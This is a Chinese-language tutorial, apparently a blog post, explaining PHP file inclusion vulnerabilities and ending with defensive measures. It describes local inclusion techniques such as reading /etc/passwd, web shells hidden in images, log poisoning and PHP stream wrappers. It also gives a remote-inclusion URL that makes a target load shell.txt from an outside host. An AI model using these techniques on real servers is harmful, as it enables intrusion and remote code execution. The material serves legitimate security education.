目录
一、介绍
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
二、常见文件包含函数
以php为例:
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
三、文件包含漏洞代码举例分析
上述代码中,$_GET['filename']来自客户的get请求参数,并且其中没有做任何的检测过滤,直接带入到include包含这个文件,导致造成文件包含漏洞
四、文件包含漏洞利用方式
4.1 本地文件包含
本地包含文件,被包含的文件在服务器
1、读取敏感文件
比如包含敏感文件/etc/passwd
../是上一级路径。如果存在漏洞,文件又存在的时候,不是php 文件会被读取显示在页面中,这里我操作系统是windows,所以不存在这个文件
2、文件包含可运行的php代码
-
①包含图片码
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行。 保存为 shell.jpg 上传图片格式到网站 再用文件包含漏洞引入图片 成功执行代码
-
②包含日志文件
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志 有 php 恶意代码,也可导致 getshell。
更多日志文件路径参考:应急响应之日志收集_dayouziei的博客-CSDN博客
-
③包含环境变量getshell
修改 User-Agen 填写 php 代码
在linux 中,/proc/self/environ 这个文件里保存了系统的一些变量,如果权限足够,包含这个文件也可执行脚本
-
④临时文件包含
phpinfo会打印上传缓存文件路径,如果目标网站有phpinfo的页面,我们可以向该页面POST一个文件,在phpinfo页面中抓取缓存文件路径,在利用时间竞争,就可以执行我们的恶意代码
⑤伪协议
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
- file://协议
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
file:// [文件的绝对路径和文件名]
- php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
php://filter用于读取源码。
php://input用于执行php代码。
- zip://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
- data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
4.2 远程文件包含
当远程文件开启时,可以包含远程文件到本地执行。当allow_url_fopen=Onallow_url_include=ON 两个条件同时为 On
http://127.0.0.1/lfi.php?file=http://10.10.10.10/shell.txt
4.3 文件包含常用路径
- 包含日志文件
- 读取网站配置文件
- 包含系统配置文件
五、文件包含漏洞防护
- 1、使用str_replace等方法过滤掉危险字符
- 2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
- 3、php版本升级,防止%00截断
- 4、对上传的文件进行重命名,防止被读取
- 5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
- 6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化